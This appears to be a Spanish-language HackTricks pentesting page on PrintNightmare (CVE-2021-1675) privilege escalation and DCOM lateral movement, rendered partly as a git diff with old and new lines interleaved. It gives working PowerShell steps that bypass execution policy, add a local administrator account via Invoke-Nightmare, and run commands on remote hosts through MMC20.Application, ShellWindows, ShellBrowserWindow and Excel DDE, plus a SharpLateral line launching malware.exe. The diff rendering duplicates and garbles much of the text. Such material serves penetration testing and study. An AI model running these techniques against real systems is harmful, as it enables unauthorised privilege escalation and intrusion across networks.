* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Esta página fue copiada de** [**https://academy.hackthebox.com/module/67/section/627**](https://academy.hackthebox.com/module/67/section/627)****
`CVE-2021-1675/CVE-2021-34527 PrintNightmare` es una falla en [RpcAddPrinterDriver](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-rprn/f23a7519-1c77-4069-9ace-a6d8eae47c22) que se utiliza para permitir la impresión remota y la instalación de controladores. \
Esta función está destinada a dar a los **usuarios con el privilegio de Windows `SeLoadDriverPrivilege`** la capacidad de **agregar controladores** a un Spooler de impresión remoto. Este derecho generalmente está reservado para usuarios en el grupo de Administradores incorporados y Operadores de impresión que pueden tener una necesidad legítima de instalar un controlador de impresora en la máquina de un usuario final de forma remota.
La falla permitió que **cualquier usuario autenticado agregara un controlador de impresión** a un sistema Windows sin tener el privilegio mencionado anteriormente, lo que permite a un atacante la ejecución remota completa de **código como SYSTEM** en cualquier sistema afectado. La falla **afecta a todas las versiones admitidas de Windows**, y dado que el **Spooler de impresión** se ejecuta de forma predeterminada en **Controladores de dominio**, Windows 7 y 10, y a menudo se habilita en servidores Windows, esto presenta una superficie de ataque masiva, de ahí "pesadilla".
Microsoft lanzó inicialmente un parche que no solucionó el problema (y la guía inicial fue deshabilitar el servicio Spooler, lo que no es práctico para muchas organizaciones), pero lanzó un segundo [parche](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) en julio de 2021 junto con la guía para verificar que la configuración específica del registro esté establecida en `0` o no definida.&#x20;
Una vez que se hizo pública esta vulnerabilidad, se lanzaron exploits de PoC bastante rápido. **** [**Esta**](https://github.com/cube0x0/CVE-2021-1675) **versión** de [@cube0x0](https://twitter.com/cube0x0) se puede utilizar para **ejecutar un DLL malicioso** de forma remota o local utilizando una versión modificada de Impacket. El repositorio también contiene una **implementación en C#**.\
Este **** [**script de PowerShell**](https://github.com/calebstewart/CVE-2021-1675) **** se puede utilizar para una rápida escalada de privilegios local. Por **defecto**, este script **agrega un nuevo usuario administrador local**, pero también podemos suministrar una DLL personalizada para obtener una shell inversa o similar si agregar un usuario administrador local no está dentro del alcance.
### **Comprobando el servicio Spooler**
Podemos comprobar rápidamente si el servicio Spooler está en ejecución con el siguiente comando. Si no está en ejecución, recibiremos un error de "la ruta no existe".
```
PS C:\htb> ls \\localhost\pipe\spoolss
Directory: \\localhost\pipe
Mode LastWriteTime Length Name
---- ------------- ------ ----
spoolss
```
### **Añadiendo un administrador local con el PoC de PrintNightmare PowerShell**
Comience por [bypass](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/) la política de ejecución en el host objetivo:
```
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A
```
Ahora podemos importar el script de PowerShell y usarlo para agregar un nuevo usuario administrador local.
```powershell
PS C:\htb> Import-Module .\CVE-2021-1675.ps1
PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
```
### **Confirmación de Nuevo Usuario Administrador**
Si todo ha ido según lo planeado, tendremos un nuevo usuario administrador local bajo nuestro control. Agregar un usuario es "ruidoso", no querríamos hacer esto en un compromiso donde la discreción es importante. Además, deberíamos verificar con nuestro cliente para asegurarnos de que la creación de cuentas esté dentro del alcance de la evaluación.
```
PS C:\htb> net user hacker
User name hacker
Full Name hacker
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set ?8/?9/?2021 12:12:01 PM
Password expires Never
Password changeable ?8/?9/?2021 12:12:01 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>
**Consulta esta increíble publicación de blog sobre PrintNightmare en 2024: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**

View file

@ -4,17 +4,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop). * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).. * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
</details> </details>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra vulnerabilidades que importan más para poder solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -22,116 +22,71 @@ Encuentra vulnerabilidades que importan más para poder solucionarlas más rápi
## MMC20.Application ## MMC20.Application
Los objetos **DCOM** (Distributed Component Object Model) son **interesantes** debido a la capacidad de **interactuar** con los objetos **a través de la red**. Microsoft tiene buena documentación sobre DCOM [aquí](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y sobre COM [aquí](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Puedes encontrar una lista sólida de aplicaciones DCOM usando PowerShell, ejecutando `Get-CimInstance Win32_DCOMApplication`. Los objetos del Modelo de Objetos de Componentes Distribuidos (DCOM) presentan una capacidad interesante para interacciones basadas en la red con objetos. Microsoft proporciona documentación completa tanto para DCOM como para el Modelo de Objetos de Componentes (COM), accesible [aquí para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) y [aquí para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Se puede recuperar una lista de aplicaciones DCOM utilizando el comando de PowerShell:
```bash
Get-CimInstance Win32_DCOMApplication
```
El objeto COM, [Clase de Aplicación MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite la creación de scripts para operaciones de complementos MMC. Notablemente, este objeto contiene un método `ExecuteShellCommand` bajo `Document.ActiveView`. Más información sobre este método se puede encontrar [aquí](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Verifícalo ejecutando:
El objeto COM [Clase de Aplicación MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) te permite automatizar componentes de las operaciones de snap-in de MMC. Al enumerar los diferentes métodos y propiedades dentro de este objeto COM, noté que hay un método llamado `ExecuteShellCommand` bajo Document.ActiveView. Esta característica facilita la ejecución de comandos a través de una red mediante una aplicación DCOM. Para interactuar con DCOM de forma remota como administrador, PowerShell puede ser utilizado de la siguiente manera:
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
Este comando se conecta a la aplicación DCOM y devuelve una instancia del objeto COM. El método ExecuteShellCommand puede ser invocado para ejecutar un proceso en el host remoto. El proceso implica los siguientes pasos:
![](<../../.gitbook/assets/image (4) (2) (1) (1).png>) Verificar métodos:
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
```
Obtener RCE:
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
Puedes leer más sobre ese método [aquí](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Hasta ahora, tenemos una aplicación DCOM a la que podemos acceder a través de la red y que puede ejecutar comandos. La pieza final es aprovechar esta aplicación DCOM y el método ExecuteShellCommand para obtener ejecución de código en un host remoto. # Then just run something like:
Afortunadamente, como administrador, puedes interactuar remotamente con DCOM con PowerShell usando "`[activator]::CreateInstance([type]::GetTypeFromProgID`". Todo lo que necesitas hacer es proporcionarle un DCOM ProgID y una dirección IP. Luego te devolverá una instancia de ese objeto COM de forma remota: ls \\10.10.10.10\c$\Users
```
Para obtener más información, consulta [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
![](<../../.gitbook/assets/image (665).png>)
Entonces es posible invocar el método `ExecuteShellCommand` para iniciar un proceso en el host remoto: ## ShellWindows y ShellBrowserWindow
![](<../../.gitbook/assets/image (1) (4) (1).png>) Se identificó que el objeto **MMC20.Application** carecía de "LaunchPermissions" explícitos, lo que resultaba en permisos predeterminados que permiten el acceso a los Administradores. Para más detalles, se puede explorar un hilo [aquí](https://twitter.com/tiraniddo/status/817532039771525120), y se recomienda el uso de [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET para filtrar objetos sin permisos de inicio explícitos.
## ShellWindows & ShellBrowserWindow Dos objetos específicos, `ShellBrowserWindow` y `ShellWindows`, se destacaron debido a su falta de Permisos de Inicio explícitos. La ausencia de una entrada de registro `LaunchPermission` en `HKCR:\AppID\{guid}` significa que no hay permisos explícitos.
El objeto **MMC20.Application** carecía de "[LaunchPermissions](https://technet.microsoft.com/en-us/library/bb633148.aspx)" explícitos, lo que resultó en el conjunto de permisos predeterminado que permite el acceso a los Administradores:
![](<../../.gitbook/assets/image (4) (1) (2).png>)
Puedes leer más sobre ese hilo [aquí](https://twitter.com/tiraniddo/status/817532039771525120).\
Ver qué otros objetos no tienen un conjunto de LaunchPermission explícito se puede lograr usando [OleView .NET](https://github.com/tyranid/oleviewdotnet) de [@tiraniddo](https://twitter.com/tiraniddo), que tiene excelentes filtros de Python (entre otras cosas). En este caso, podemos filtrar todos los objetos que no tienen un Launch Permission explícito. Al hacerlo, dos objetos me llamaron la atención: `ShellBrowserWindow` y `ShellWindows`:
![](<../../.gitbook/assets/image (3) (1) (1) (2).png>)
Otra forma de identificar objetos objetivo potenciales es buscar el valor `LaunchPermission` que falta en las claves en `HKCR:\AppID\{guid}`. Un objeto con Launch Permissions establecido se verá como a continuación, con datos que representan la ACL del objeto en formato binario:
![](https://enigma0x3.files.wordpress.com/2017/01/launch\_permissions\_registry.png?w=690\&h=169)
Aquellos sin un LaunchPermission explícito carecerán de esa entrada específica del registro.
### ShellWindows ### ShellWindows
Para `ShellWindows`, que carece de un ProgID, los métodos .NET `Type.GetTypeFromCLSID` y `Activator.CreateInstance` facilitan la instanciación de objetos utilizando su AppID. Este proceso aprovecha OleView .NET para recuperar el CLSID de `ShellWindows`. Una vez instanciado, la interacción es posible a través del método `WindowsShell.Item`, lo que lleva a la invocación de métodos como `Document.Application.ShellExecute`.
El primer objeto explorado fue [ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx). Dado que no hay un [ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx) asociado con este objeto, podemos usar el método .NET [Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) junto con el método [Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx) para instanciar el objeto a través de su AppID en un host remoto. Para hacer esto, necesitamos obtener el [CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx) para el objeto ShellWindows, lo cual se puede lograr usando OleView .NET también: Se proporcionaron comandos de PowerShell de ejemplo para instanciar el objeto y ejecutar comandos de forma remota:
![shellwindow\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellwindow\_classid.png?w=434\&h=424)
Como puedes ver a continuación, el campo "Launch Permission" está en blanco, lo que significa que no se han establecido permisos explícitos.
![screen-shot-2017-01-23-at-4-12-24-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-12-24-pm.png?w=455\&h=401)
Ahora que tenemos el CLSID, podemos instanciar el objeto en un objetivo remoto:
```powershell ```powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39 $com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com) $obj = [System.Activator]::CreateInstance($com)
```
![](https://enigma0x3.files.wordpress.com/2017/01/remote_instantiation_shellwindows.png?w=690&h=354)
Con el objeto instanciado en el host remoto, podemos interactuar con él e invocar cualquier método que queramos. El handle devuelto del objeto revela varios métodos y propiedades, con ninguno de los cuales podemos interactuar. Para lograr una interacción real con el host remoto, necesitamos acceder al método [WindowsShell.Item](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773970\(v=vs.85\).aspx), que nos devolverá un objeto que representa la ventana del shell de Windows:
```
$item = $obj.Item() $item = $obj.Item()
```
![](https://enigma0x3.files.wordpress.com/2017/01/item_instantiation.png?w=416&h=465)
Con un control total sobre la ventana Shell, ahora podemos acceder a todos los métodos/propiedades esperados que están expuestos. Después de revisar estos métodos, **`Document.Application.ShellExecute`** resaltó. Asegúrate de seguir los requisitos de parámetros para el método, los cuales están documentados [aquí](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745(v=vs.85).aspx).
```powershell
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0) $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
``` ```
Como puede ver arriba, nuestro comando se ejecutó con éxito en un host remoto. ### Movimiento lateral con objetos DCOM de Excel
### ShellBrowserWindow El movimiento lateral se puede lograr explotando objetos DCOM de Excel. Para obtener información detallada, es recomendable leer la discusión sobre el aprovechamiento de Excel DDE para el movimiento lateral a través de DCOM en el [blog de Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
Este objeto en particular no existe en Windows 7, lo que limita su uso para el movimiento lateral un poco más que el objeto "ShellWindows", el cual probé con éxito en Win7-Win10. El proyecto Empire proporciona un script de PowerShell, que demuestra la utilización de Excel para la ejecución de código remoto (RCE) mediante la manipulación de objetos DCOM. A continuación se muestran fragmentos del script disponible en el [repositorio de GitHub de Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), que muestran diferentes métodos para abusar de Excel para RCE:
Basado en mi enumeración de este objeto, parece proporcionar efectivamente una interfaz en la ventana del Explorador al igual que el objeto anterior. Para instanciar este objeto, necesitamos obtener su CLSID. Similar a lo anterior, podemos usar OleView .NET:
![shellbrowser\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellbrowser\_classid.png?w=428\&h=414)
Nuevamente, tome nota del campo de Permisos de Lanzamiento en blanco:
![screen-shot-2017-01-23-at-4-13-52-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-13-52-pm.png?w=399\&h=340)
Con el CLSID, podemos repetir los pasos realizados en el objeto anterior para instanciar el objeto y llamar al mismo método:
```powershell ```powershell
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>") # Detection of Office version
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)
```
Como puede ver, el comando se ejecutó con éxito en el objetivo remoto.
Dado que este objeto se comunica directamente con el shell de Windows, no necesitamos invocar el método "ShellWindows.Item", como en el objeto anterior.
Aunque estos dos objetos DCOM se pueden utilizar para ejecutar comandos del shell en un host remoto, hay muchos otros métodos interesantes que se pueden usar para enumerar o manipular un objetivo remoto. Algunos de estos métodos incluyen:
* `Document.Application.ServiceStart()`
* `Document.Application.ServiceStop()`
* `Document.Application.IsServiceRunning()`
* `Document.Application.ShutDownWindows()`
* `Document.Application.GetSystemInformation()`
## ExcelDDE & RegisterXLL
De manera similar, es posible moverse lateralmente abusando de objetos DCOM de Excel, para más información lea [https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)
```powershell
# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
## You can see here how to abuse excel for RCE
elseif ($Method -Match "DetectOffice") { elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com) $Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21] $isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"}) Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
} }
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") { elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com) $Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath") $obj.Application.RegisterXLL("$DllPath")
} }
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") { elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com) $Obj = [System.Activator]::CreateInstance($Com)
@ -139,34 +94,44 @@ $Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command") $Obj.DDEInitiate("cmd", "/c $Command")
} }
``` ```
### Herramientas de Automatización para el Movimiento Lateral
Se destacan dos herramientas para automatizar estas técnicas:
- **Invoke-DCOM.ps1**: Un script de PowerShell proporcionado por el proyecto Empire que simplifica la invocación de diferentes métodos para ejecutar código en máquinas remotas. Este script está disponible en el repositorio de GitHub de Empire.
- **SharpLateral**: Una herramienta diseñada para ejecutar código de forma remota, la cual se puede utilizar con el comando:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
## Herramientas Automáticas ## Herramientas Automáticas
* El script de Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) permite invocar fácilmente todos los métodos comentados para ejecutar código en otras máquinas. * El script de Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) permite invocar fácilmente todas las formas comentadas de ejecutar código en otras máquinas.
* También podrías usar [**SharpLateral**](https://github.com/mertdas/SharpLateral): * También se puede utilizar [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```bash ```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
``` ```
## Referencias ## Referencias
* El primer método fue copiado de [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/), para más información sigue el enlace * [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
* La segunda sección fue copiada de [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/), para más información sigue el enlace * [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra vulnerabilidades que importan más para que puedas arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivos, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy. Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Aprende AWS hacking de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -2,69 +2,65 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
